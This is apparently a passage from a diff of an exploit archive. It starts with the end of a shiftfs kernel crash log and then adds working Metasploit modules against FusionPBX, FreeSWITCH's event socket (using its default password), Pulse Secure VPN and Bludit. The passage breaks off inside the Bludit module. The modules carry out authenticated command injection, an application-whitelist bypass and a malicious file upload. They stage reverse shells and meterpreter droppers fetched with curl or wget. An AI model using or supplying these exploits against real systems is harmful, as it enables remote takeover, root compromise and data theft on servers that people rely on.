none on /home/user/shiftfs_confuse/mnt/tmpfs type tmpfs (rw,relatime,uid=1000,gid=1000)
|
||||
/home/user/shiftfs_confuse/mnt/tmpfs on /home/user/shiftfs_confuse/mnt/shiftfs type shiftfs (rw,relatime,mark,passthrough=2)
|
||||
[ 348.103005] BUG: unable to handle page fault for address: 0000000000004289
|
||||
[ 348.105060] #PF: supervisor read access in kernel mode
|
||||
[ 348.106573] #PF: error_code(0x0000) - not-present page
|
||||
[ 348.108102] PGD 0 P4D 0
|
||||
[ 348.108871] Oops: 0000 [#1] SMP PTI
|
||||
[ 348.109912] CPU: 6 PID: 2192 Comm: ioctl Not tainted 5.3.0-19-generic #20-Ubuntu
|
||||
[ 348.112109] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014
|
||||
[ 348.114460] RIP: 0010:shiftfs_real_ioctl+0x22e/0x410 [shiftfs]
|
||||
[ 348.116166] Code: 38 44 89 ff e8 43 91 01 d3 49 89 c0 49 83 e0 fc 0f 84 ce 01 00 00 49 8b 90 c8 00 00 00 41 8b 70 40 48 8b 4a 10 89 c2 83 e2 01 <8b> 79 40 48 89 4d b8 89 f8 f7 d0 85 f0 0f 85 e8 00 00 00 85 d2 75
|
||||
[ 348.121578] RSP: 0018:ffffb1e7806ebdc8 EFLAGS: 00010246
|
||||
[ 348.123097] RAX: ffff9ce6302ebcc0 RBX: ffff9ce6302e90c0 RCX: 0000000000004249
|
||||
[ 348.125174] RDX: 0000000000000000 RSI: 0000000000008000 RDI: 0000000000000004
|
||||
[ 348.127222] RBP: ffffb1e7806ebe30 R08: ffff9ce6302ebcc0 R09: 0000000000001150
|
||||
[ 348.129288] R10: ffff9ce63680e840 R11: 0000000080010d00 R12: 0000000050009401
|
||||
[ 348.131358] R13: 00007ffd87558310 R14: ffff9ce60cffca88 R15: 0000000000000004
|
||||
[ 348.133421] FS: 00007f77fa842540(0000) GS:ffff9ce637b80000(0000) knlGS:0000000000000000
|
||||
[ 348.135753] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
|
||||
[ 348.137413] CR2: 0000000000004289 CR3: 000000026ff94001 CR4: 0000000000360ee0
|
||||
[ 348.139451] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
|
||||
[ 348.141516] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
|
||||
[ 348.143545] Call Trace:
|
||||
[ 348.144272] shiftfs_ioctl+0x65/0x76 [shiftfs]
|
||||
[ 348.145562] do_vfs_ioctl+0x407/0x670
|
||||
[ 348.146620] ? putname+0x4a/0x50
|
||||
[ 348.147556] ksys_ioctl+0x67/0x90
|
||||
[ 348.148514] __x64_sys_ioctl+0x1a/0x20
|
||||
[ 348.149593] do_syscall_64+0x5a/0x130
|
||||
[ 348.150658] entry_SYSCALL_64_after_hwframe+0x44/0xa9
|
||||
[ 348.152108] RIP: 0033:0x7f77fa76767b
|
||||
[ 348.153140] Code: 0f 1e fa 48 8b 05 15 28 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d e5 27 0d 00 f7 d8 64 89 01 48
|
||||
[ 348.158466] RSP: 002b:00007ffd875582e8 EFLAGS: 00000217 ORIG_RAX: 0000000000000010
|
||||
[ 348.160610] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f77fa76767b
|
||||
[ 348.162644] RDX: 00007ffd87558310 RSI: 0000000050009401 RDI: 0000000000000003
|
||||
[ 348.164680] RBP: 00007ffd87559320 R08: 00000000ffffffff R09: 0000000000000000
|
||||
[ 348.167456] R10: 0000000000000000 R11: 0000000000000217 R12: 0000561c135ee100
|
||||
[ 348.169530] R13: 00007ffd87559400 R14: 0000000000000000 R15: 0000000000000000
|
||||
[ 348.171573] Modules linked in: shiftfs intel_rapl_msr intel_rapl_common kvm_intel kvm snd_hda_codec_generic irqbypass ledtrig_audio crct10dif_pclmul crc32_pclmul snd_hda_intel snd_hda_codec ghash_clmulni_intel snd_hda_core snd_hwdep aesni_intel aes_x86_64 snd_pcm crypto_simd cryptd glue_helper snd_seq_midi joydev snd_seq_midi_event snd_rawmidi snd_seq input_leds snd_seq_device snd_timer serio_raw qxl snd ttm drm_kms_helper mac_hid soundcore drm fb_sys_fops syscopyarea sysfillrect qemu_fw_cfg sysimgblt sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid psmouse i2c_i801 ahci virtio_net lpc_ich libahci net_failover failover virtio_blk
|
||||
[ 348.188617] CR2: 0000000000004289
|
||||
[ 348.189586] ---[ end trace dad859a1db86d660 ]---
|
||||
[ 348.190916] RIP: 0010:shiftfs_real_ioctl+0x22e/0x410 [shiftfs]
|
||||
[ 348.193401] Code: 38 44 89 ff e8 43 91 01 d3 49 89 c0 49 83 e0 fc 0f 84 ce 01 00 00 49 8b 90 c8 00 00 00 41 8b 70 40 48 8b 4a 10 89 c2 83 e2 01 <8b> 79 40 48 89 4d b8 89 f8 f7 d0 85 f0 0f 85 e8 00 00 00 85 d2 75
|
||||
[ 348.198713] RSP: 0018:ffffb1e7806ebdc8 EFLAGS: 00010246
|
||||
[ 348.200226] RAX: ffff9ce6302ebcc0 RBX: ffff9ce6302e90c0 RCX: 0000000000004249
|
||||
[ 348.202257] RDX: 0000000000000000 RSI: 0000000000008000 RDI: 0000000000000004
|
||||
[ 348.204294] RBP: ffffb1e7806ebe30 R08: ffff9ce6302ebcc0 R09: 0000000000001150
|
||||
[ 348.206324] R10: ffff9ce63680e840 R11: 0000000080010d00 R12: 0000000050009401
|
||||
[ 348.208362] R13: 00007ffd87558310 R14: ffff9ce60cffca88 R15: 0000000000000004
|
||||
[ 348.210395] FS: 00007f77fa842540(0000) GS:ffff9ce637b80000(0000) knlGS:0000000000000000
|
||||
[ 348.212710] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
|
||||
[ 348.214365] CR2: 0000000000004289 CR3: 000000026ff94001 CR4: 0000000000360ee0
|
||||
[ 348.216409] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
|
||||
[ 348.218349] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
|
||||
Killed
|
||||
user@ubuntu1910vm:~/shiftfs_confuse$
|
||||
=======================================
|
164
exploits/multiple/remote/47697.rb
Executable file
164
exploits/multiple/remote/47697.rb
Executable file
|
@ -0,0 +1,164 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'FusionPBX Operator Panel exec.php Command Execution',
|
||||
'Description' => %q{
|
||||
This module exploits an authenticated command injection vulnerability
|
||||
in FusionPBX versions 4.4.3 and prior.
|
||||
|
||||
The `exec.php` file within the Operator Panel permits users with
|
||||
`operator_panel_view` permissions, or administrator permissions,
|
||||
to execute arbitrary commands as the web server user by sending
|
||||
a `system` command to the FreeSWITCH event socket interface.
|
||||
|
||||
This module has been tested successfully on FusionPBX version
|
||||
4.4.1 on Ubuntu 19.04 (x64).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Dustin Cobb', # Discovery and exploit
|
||||
'bcoles' # Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2019-11409'],
|
||||
['EDB', '46985'],
|
||||
['URL', 'https://blog.gdssecurity.com/labs/2019/6/7/rce-using-caller-id-multiple-vulnerabilities-in-fusionpbx.html'],
|
||||
['URL', 'https://github.com/fusionpbx/fusionpbx/commit/e43ca27ba2d9c0109a6bf198fe2f8d79f63e0611']
|
||||
],
|
||||
'Platform' => %w[unix linux],
|
||||
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
||||
'Payload' => {'BadChars' => "\x00\x0a\x0d\x27\x5c"},
|
||||
'CmdStagerFlavor' => %w[curl wget],
|
||||
'Targets' =>
|
||||
[
|
||||
['Automatic (Unix In-Memory)',
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'},
|
||||
'Type' => :unix_memory
|
||||
],
|
||||
['Automatic (Linux Dropper)',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'},
|
||||
'Type' => :linux_dropper
|
||||
]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 },
|
||||
'DisclosureDate' => '2019-06-06',
|
||||
'DefaultTarget' => 0))
|
||||
register_options [
|
||||
OptString.new('TARGETURI', [true, 'The base path to FusionPBX', '/']),
|
||||
OptString.new('USERNAME', [true, 'The username for FusionPBX']),
|
||||
OptString.new('PASSWORD', [true, 'The password for FusionPBX'])
|
||||
]
|
||||
end
|
||||
|
||||
def login(user, pass)
|
||||
vprint_status "Authenticating as user '#{user}'"
|
||||
|
||||
vars_post = {
|
||||
username: user,
|
||||
password: pass,
|
||||
path: ''
|
||||
}
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'core/user_settings/user_dashboard.php'),
|
||||
'vars_post' => vars_post
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with Failure::Unreachable, 'Connection failed'
|
||||
end
|
||||
|
||||
if res.code == 302 && res.headers['location'].include?('login.php')
|
||||
fail_with Failure::NoAccess, "Login failed for user '#{user}'"
|
||||
end
|
||||
|
||||
unless res.code == 200
|
||||
fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"
|
||||
end
|
||||
|
||||
cookie = res.get_cookies.to_s.scan(/PHPSESSID=(.+?);/).flatten.first
|
||||
|
||||
unless cookie
|
||||
fail_with Failure::UnexpectedReply, 'Failed to retrieve PHPSESSID cookie'
|
||||
end
|
||||
|
||||
print_good "Authenticated as user '#{user}'"
|
||||
|
||||
cookie
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path)
|
||||
})
|
||||
|
||||
unless res
|
||||
vprint_error 'Connection failed'
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
if res.body.include?('FusionPBX')
|
||||
return CheckCode::Detected
|
||||
end
|
||||
|
||||
CheckCode::Safe
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'app/operator_panel/exec.php'),
|
||||
'cookie' => "PHPSESSID=#{@cookie}",
|
||||
'vars_get' => {'cmd' => "bg_system #{cmd}"}
|
||||
}, 5)
|
||||
|
||||
unless res
|
||||
return if session_created?
|
||||
fail_with Failure::Unreachable, 'Connection failed'
|
||||
end
|
||||
|
||||
unless res.code == 200
|
||||
fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"
|
||||
end
|
||||
|
||||
if res.body.include? 'access denied'
|
||||
fail_with Failure::NoAccess, "User #{datastore['USERNAME']} does not have permission to access the Operator Panel"
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless check == CheckCode::Detected
|
||||
fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable"
|
||||
end
|
||||
|
||||
@cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
|
||||
|
||||
print_status "Sending payload (#{payload.encoded.length} bytes) ..."
|
||||
|
||||
case target['Type']
|
||||
when :unix_memory
|
||||
execute_command(payload.encoded)
|
||||
when :linux_dropper
|
||||
execute_cmdstager(:linemax => 1_500)
|
||||
end
|
||||
end
|
||||
end
|
169
exploits/multiple/remote/47698.rb
Executable file
169
exploits/multiple/remote/47698.rb
Executable file
|
@ -0,0 +1,169 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'FreeSWITCH Event Socket Command Execution',
|
||||
'Description' => %q{
|
||||
This module uses the FreeSWITCH event socket interface
|
||||
to execute system commands using the `system` API command.
|
||||
|
||||
The event socket service is enabled by default and listens
|
||||
on TCP port 8021 on the local network interface.
|
||||
|
||||
This module has been tested successfully on FreeSWITCH versions:
|
||||
|
||||
1.6.10-17-726448d~44bit on FreeSWITCH-Deb8-TechPreview virtual machine;
|
||||
1.8.4~64bit on Ubuntu 19.04 (x64); and
|
||||
1.10.1~64bit on Windows 7 SP1 (EN) (x64).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['bcoles'],
|
||||
'References' =>
|
||||
[
|
||||
['CWE', '260'], # default password, configurable in event_socket.conf.xml
|
||||
['URL', 'https://freeswitch.org/confluence/display/FREESWITCH/mod_event_socket']
|
||||
],
|
||||
'Platform' => %w[win linux unix bsd],
|
||||
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
||||
'Payload' => {'BadChars' => "\x00\x0a\x0d\x27\x5c"},
|
||||
'CmdStagerFlavor' => %w[curl wget certutil vbs],
|
||||
'Targets' =>
|
||||
[
|
||||
['Unix (In-Memory)',
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'},
|
||||
'Type' => :unix_memory
|
||||
],
|
||||
['Linux (Dropper)',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'},
|
||||
'Type' => :linux_dropper
|
||||
],
|
||||
['PowerShell (In-Memory)',
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'},
|
||||
'Type' => :psh_memory
|
||||
],
|
||||
['Windows (In-Memory)',
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_CMD,
|
||||
'DefaultOptions' => {'PAYLOAD' => 'cmd/windows/reverse_powershell'},
|
||||
'Type' => :win_memory
|
||||
],
|
||||
['Windows (Dropper)',
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'},
|
||||
'Type' => :win_dropper
|
||||
]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DefaultOptions' => { 'RPORT' => 8021 },
|
||||
'DisclosureDate' => '2019-11-03',
|
||||
'DefaultTarget' => 0))
|
||||
register_options [
|
||||
OptString.new('PASSWORD', [true, 'FreeSWITCH event socket password', 'ClueCon'])
|
||||
]
|
||||
end
|
||||
|
||||
def check
|
||||
connect
|
||||
banner = sock.get_once.to_s
|
||||
disconnect
|
||||
|
||||
if banner.include?('Access Denied, go away.') || banner.include?('text/rude-rejection')
|
||||
vprint_error 'Access denied by network ACL'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
unless banner.include?('Content-Type: auth/request')
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
CheckCode::Appears
|
||||
end
|
||||
|
||||
def auth(password)
|
||||
sock.put "auth #{password}\n\n"
|
||||
res = sock.get_once.to_s
|
||||
|
||||
unless res.include? 'Content-Type: command/reply'
|
||||
fail_with Failure::UnexpectedReply, 'Unexpected reply'
|
||||
end
|
||||
|
||||
unless res.include?('Reply-Text: +OK accepted')
|
||||
fail_with Failure::NoAccess, 'Login failed'
|
||||
end
|
||||
|
||||
print_status 'Login success'
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
api_function = opts[:foreground] ? 'system' : 'bg_system'
|
||||
|
||||
sock.put "api #{api_function} #{cmd}\n\n"
|
||||
res = sock.get_once.to_s
|
||||
|
||||
unless res.include? 'Content-Type: api/response'
|
||||
fail_with Failure::UnexpectedReply, 'Unexpected reply'
|
||||
end
|
||||
|
||||
vprint_status "Response: #{res}"
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless check == CheckCode::Appears
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
||||
end
|
||||
|
||||
connect
|
||||
banner = sock.get_once.to_s
|
||||
|
||||
auth(datastore['PASSWORD'])
|
||||
|
||||
print_status "Sending payload (#{payload.encoded.length} bytes) ..."
|
||||
|
||||
case target['Type']
|
||||
when :unix_memory
|
||||
if datastore['PAYLOAD'] == 'cmd/unix/generic'
|
||||
execute_command(payload.encoded, foreground: true)
|
||||
else
|
||||
execute_command(payload.encoded)
|
||||
end
|
||||
when :win_memory
|
||||
if datastore['PAYLOAD'] == 'cmd/windows/generic'
|
||||
execute_command(payload.encoded, foreground: true)
|
||||
else
|
||||
execute_command(payload.encoded)
|
||||
end
|
||||
when :psh_memory
|
||||
execute_command(
|
||||
cmd_psh_payload(
|
||||
payload.encoded,
|
||||
payload_instance.arch.first,
|
||||
{ :remove_comspec => true, :encode_final_payload => true }
|
||||
)
|
||||
)
|
||||
when :linux_dropper
|
||||
execute_cmdstager(:linemax => 1_500)
|
||||
when :win_dropper
|
||||
execute_cmdstager(:linemax => 1_500)
|
||||
end
|
||||
ensure
|
||||
disconnect unless sock.nil?
|
||||
end
|
||||
end
|
178
exploits/multiple/remote/47700.rb
Executable file
178
exploits/multiple/remote/47700.rb
Executable file
|
@ -0,0 +1,178 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Pulse Secure VPN Arbitrary Command Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a post-auth command injection in the Pulse Secure
|
||||
VPN server to execute commands as root. The env(1) command is used to
|
||||
bypass application whitelisting and run arbitrary commands.
|
||||
|
||||
Please see related module auxiliary/gather/pulse_secure_file_disclosure
|
||||
for a pre-auth file read that is able to obtain plaintext and hashed
|
||||
credentials, plus session IDs that may be used with this exploit.
|
||||
|
||||
A valid administrator session ID is required in lieu of untested SSRF.
|
||||
},
|
||||
'Author' => [
|
||||
'Orange Tsai', # Discovery (@orange_8361)
|
||||
'Meh Chang', # Discovery (@mehqq_)
|
||||
'wvu' # Module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2019-11539'],
|
||||
['URL', 'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/'],
|
||||
['URL', 'https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html'],
|
||||
['URL', 'https://hackerone.com/reports/591295']
|
||||
],
|
||||
'DisclosureDate' => '2019-04-24', # Public disclosure
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
||||
'Privileged' => true,
|
||||
'Targets' => [
|
||||
['Unix In-Memory',
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_memory,
|
||||
'Payload' => {
|
||||
'BadChars' => %Q(&*(){}[]`;|?\n~<>"'),
|
||||
'Encoder' => 'generic/none' # Force manual badchar analysis
|
||||
},
|
||||
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'}
|
||||
],
|
||||
['Linux Dropper',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Type' => :linux_dropper,
|
||||
'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 1,
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 443,
|
||||
'SSL' => true,
|
||||
'CMDSTAGER::SSL' => true
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
|
||||
'RelatedModules' => ['auxiliary/gather/pulse_secure_file_disclosure']
|
||||
}
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('SID', [true, 'Valid admin session ID'])
|
||||
])
|
||||
end
|
||||
|
||||
def post_auth?
|
||||
true
|
||||
end
|
||||
|
||||
def exploit
|
||||
get_csrf_token
|
||||
|
||||
print_status("Executing #{target.name} target")
|
||||
|
||||
case target['Type']
|
||||
when :unix_memory
|
||||
execute_command(payload.encoded)
|
||||
when :linux_dropper
|
||||
execute_cmdstager(
|
||||
flavor: :curl,
|
||||
noconcat: true
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
def get_csrf_token
|
||||
@cookie = "DSID=#{datastore['SID']}"
|
||||
print_good("Setting session cookie: #{@cookie}")
|
||||
|
||||
print_status('Obtaining CSRF token')
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => diag_cgi,
|
||||
'cookie' => @cookie
|
||||
)
|
||||
|
||||
unless res && res.code == 200 && (@csrf_token = parse_csrf_token(res.body))
|
||||
fail_with(Failure::NoAccess, 'Session cookie expired or invalid')
|
||||
end
|
||||
|
||||
print_good("CSRF token: #{@csrf_token}")
|
||||
end
|
||||
|
||||
def parse_csrf_token(body)
|
||||
body.to_s.scan(/xsauth=([[:xdigit:]]+)/).flatten.first
|
||||
end
|
||||
|
||||
def execute_command(cmd, _opts = {})
|
||||
# Prepend absolute path to curl(1), since it's not in $PATH
|
||||
cmd.prepend('/home/bin/') if cmd.start_with?('curl')
|
||||
|
||||
# Bypass application whitelisting with permitted env(1)
|
||||
cmd.prepend('env ')
|
||||
|
||||
vprint_status("Executing command: #{cmd}")
|
||||
print_status("Yeeting exploit at #{full_uri(diag_cgi)}")
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => diag_cgi,
|
||||
'cookie' => @cookie,
|
||||
'vars_get' => {
|
||||
'a' => 'td', # tcpdump
|
||||
'options' => sploit(cmd),
|
||||
'xsauth' => @csrf_token,
|
||||
'toggle' => 'Start Sniffing'
|
||||
}
|
||||
)
|
||||
|
||||
unless res && res.code == 200
|
||||
fail_with(Failure::UnexpectedReply, 'Could not yeet exploit')
|
||||
end
|
||||
|
||||
print_status("Triggering payload at #{full_uri(setcookie_cgi)}")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => setcookie_cgi
|
||||
}, 3.1337)
|
||||
|
||||
# 200 response code, yet 500 error in body
|
||||
unless res && res.code == 200 && !res.body.include?('500 Internal Error')
|
||||
print_warning('Payload execution may have failed')
|
||||
return
|
||||
end
|
||||
|
||||
print_good('Payload execution successful')
|
||||
|
||||
if datastore['PAYLOAD'] == 'cmd/unix/generic'
|
||||
print_line(res.body.sub(/\s*<html>.*/m, ''))
|
||||
end
|
||||
end
|
||||
|
||||
def sploit(cmd)
|
||||
%(-r$x="#{cmd}",system$x# 2>/data/runtime/tmp/tt/setcookie.thtml.ttc <)
|
||||
end
|
||||
|
||||
def diag_cgi
|
||||
'/dana-admin/diag/diag.cgi'
|
||||
end
|
||||
|
||||
def setcookie_cgi
|
||||
'/dana-na/auth/setcookie.cgi'
|
||||
end
|
||||
|
||||
end
|
262
exploits/php/remote/47699.rb
Executable file
262
exploits/php/remote/47699.rb
Executable file
|
@ -0,0 +1,262 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::PhpEXE
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Bludit Directory Traversal Image File Upload Vulnerability",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in Bludit. A remote user could abuse the uuid
|
||||
parameter in the image upload feature in order to save a malicious payload anywhere
|
||||
onto the server, and then use a custom .htaccess file to bypass the file extension
|
||||
check to finally get remote code execution.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'christasa', # Original discovery
|
||||
'sinn3r' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2019-16113'],
|
||||
['URL', 'https://github.com/bludit/bludit/issues/1081'],
|
||||
['URL', 'https://github.com/bludit/bludit/commit/a9640ff6b5f2c0fa770ad7758daf24fec6fbf3f5#diff-6f5ea518e6fc98fb4c16830bbf9f5dac' ]
|
||||
],
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Notes' =>
|
||||
{
|
||||
'SideEffects' => [ IOC_IN_LOGS ],
|
||||
'Reliability' => [ REPEATABLE_SESSION ],
|
||||
'Stability' => [ CRASH_SAFE ]
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Bludit v3.9.2', {} ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "2019-09-07",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The base path for Bludit', '/']),
|
||||
OptString.new('BLUDITUSER', [true, 'The username for Bludit']),
|
||||
OptString.new('BLUDITPASS', [true, 'The password for Bludit'])
|
||||
])
|
||||
end
|
||||
|
||||
class PhpPayload
|
||||
attr_reader :payload
|
||||
attr_reader :name
|
||||
|
||||
def initialize(p)
|
||||
@payload = p
|
||||
@name = "#{Rex::Text.rand_text_alpha(10)}.png"
|
||||
end
|
||||
end
|
||||
|
||||
class LoginBadge
|
||||
attr_reader :username
|
||||
attr_reader :password
|
||||
attr_accessor :csrf_token
|
||||
attr_accessor :bludit_key
|
||||
|
||||
def initialize(user, pass, token, key)
|
||||
@username = user
|
||||
@password = pass
|
||||
@csrf_token = token
|
||||
@bludit_key = key
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php')
|
||||
})
|
||||
|
||||
unless res
|
||||
vprint_error('Connection timed out')
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
html = res.get_html_document
|
||||
generator_tag = html.at('meta[@name="generator"]')
|
||||
unless generator_tag
|
||||
vprint_error('No generator metadata tag found in HTML')
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
content_attr = generator_tag.attributes['content']
|
||||
unless content_attr
|
||||
vprint_error("No content attribute found in metadata tag")
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
if content_attr.value == 'Bludit'
|
||||
return CheckCode::Detected
|
||||
end
|
||||
|
||||
CheckCode::Safe
|
||||
end
|
||||
|
||||
def get_uuid(login_badge)
|
||||
print_status('Retrieving UUID...')
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'new-content', 'index.php'),
|
||||
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};"
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Connection timed out')
|
||||
end
|
||||
|
||||
html = res.get_html_document
|
||||
uuid_element = html.at('input[@name="uuid"]')
|
||||
unless uuid_element
|
||||
fail_with(Failure::Unknown, 'No UUID found in admin/new-content/')
|
||||
end
|
||||
|
||||
uuid_val = uuid_element.attributes['value']
|
||||
unless uuid_val && uuid_val.respond_to?(:value)
|
||||
fail_with(Failure::Unknown, 'No UUID value')
|
||||
end
|
||||
|
||||
uuid_val.value
|
||||
end
|
||||
|
||||
def upload_file(login_badge, uuid, content, fname)
|
||||
print_status("Uploading #{fname}...")
|
||||
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part(content, 'image/png', nil, "form-data; name=\"images[]\"; filename=\"#{fname}\"")
|
||||
data.add_part(uuid, nil, nil, 'form-data; name="uuid"')
|
||||
data.add_part(login_badge.csrf_token, nil, nil, 'form-data; name="tokenCSRF"')
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'ajax', 'upload-images'),
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",
|
||||
'headers' => {'X-Requested-With' => 'XMLHttpRequest'},
|
||||
'data' => data.to_s
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Connection timed out')
|
||||
